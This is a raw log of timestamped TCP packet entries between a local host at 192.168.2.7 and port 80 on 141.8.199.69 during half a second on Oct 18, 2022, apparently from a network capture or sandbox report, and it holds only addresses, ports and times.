Oct 18, 2022 13:28:07.109493971 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109498978 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109520912 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109525919 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109549999 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109554052 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109574080 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109580994 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109600067 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109611034 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109620094 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109638929 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109649897 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109667063 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109679937 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109693050 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109707117 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109719992 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109734058 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109747887 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109760046 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109787941 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.170237064 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170279980 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170300007 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170319080 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170341015 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170360088 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170381069 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170397997 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170416117 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170416117 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.170434952 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170453072 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170459986 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.170469999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170486927 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170505047 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170507908 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.170523882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170538902 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.170542002 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170555115 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.170558929 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170578003 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170581102 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.170597076 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170600891 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.170615911 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170634985 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170639038 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.170653105 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170666933 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.170672894 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170691013 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170706034 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.170711040 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170730114 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170743942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.170747995 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.170761108 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.170794010 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.231760025 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.231864929 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.231895924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.231923103 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.231951952 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.231981039 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232002020 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232002020 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232008934 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232036114 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232053995 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232064962 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232079983 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232093096 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232105970 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232120037 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232131004 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232148886 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232156992 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232176065 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232187033 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232203007 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232214928 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232232094 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232243061 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232258081 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232266903 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232284069 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232295036 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232307911 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232322931 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232335091 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232352972 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232361078 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232373953 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232386112 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232403040 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232409954 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232422113 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232439041 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232449055 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232465982 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232475042 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232492924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232503891 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232518911 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232531071 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232547045 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232558012 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232580900 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232601881 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.232637882 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.232665062 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.293189049 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293227911 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293251991 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293275118 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293277025 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.293298006 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293319941 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.293319941 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.293322086 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293345928 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293354988 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.293370008 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293392897 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293406010 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.293415070 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293426991 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.293437958 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293462038 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293467999 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.293483973 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293509007 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293531895 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293555975 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293579102 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293596983 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.293603897 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293627024 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293648005 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293670893 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293678045 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.293693066 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293715954 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293740988 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293751001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.293762922 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293786049 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293809891 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293818951 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.293853045 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293885946 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.293899059 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.293946028 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.354823112 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.354892969 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.354922056 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.354947090 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.354969978 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.354995012 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355004072 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355019093 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355036974 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355051041 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355057001 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355076075 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355094910 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355098963 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355113029 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355122089 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355129957 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355139971 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355146885 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355165005 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355171919 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355182886 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355197906 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355201006 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355221033 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355228901 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355238914 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355258942 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355263948 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355277061 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355288982 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355295897 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355315924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355319977 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355334044 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355335951 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355351925 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355361938 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355370045 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355379105 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355389118 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355396986 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355407953 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355415106 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355427027 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.355431080 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355448961 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.355469942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.457472086 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.457751989 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.462585926 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.462637901 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.462651014 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.462666988 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.462681055 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.462697983 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.462707996 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.462728024 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.462740898 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.462755919 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.462769032 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.462784052 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.462795019 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.462812901 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.462841034 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.462843895 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.462867022 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.462867022 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.462893009 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.462922096 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.462935925 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.462965012 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.462985039 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.462992907 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463007927 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.463021994 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463035107 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.463048935 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463063955 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.463076115 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463088036 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.463104010 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463116884 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.463129997 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463143110 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.463160038 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463171959 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.463187933 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463202000 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.463217020 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463246107 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463273048 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.463278055 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463306904 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463331938 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.463335037 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463346958 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.463362932 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463380098 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.463393927 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463423967 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463428974 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.463453054 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.463459969 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.463486910 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.463502884 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524015903 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524065018 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524123907 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524153948 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524179935 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524202108 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524205923 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524203062 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524251938 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524266005 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524333000 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524360895 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524389029 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524394989 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524416924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524419069 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524445057 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524450064 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524473906 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524483919 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524502039 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524514914 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524514914 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524528980 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524558067 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524589062 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524595022 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524595022 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524612904 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524616003 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524642944 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524643898 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524658918 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524672031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524689913 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524699926 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524722099 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524729013 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524755001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524764061 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524784088 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524791956 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524808884 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524818897 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524835110 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524846077 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524859905 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524873018 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524888992 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524900913 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524914980 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524930000 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524952888 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524959087 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.524972916 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.524986982 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.525002956 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.525028944 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.584728003 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.584935904 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585129023 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585160971 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585187912 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585216999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585230112 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585243940 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585253954 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585268974 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585295916 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585304022 CEST	49701	80	192.168.2.7	141.8.199.69
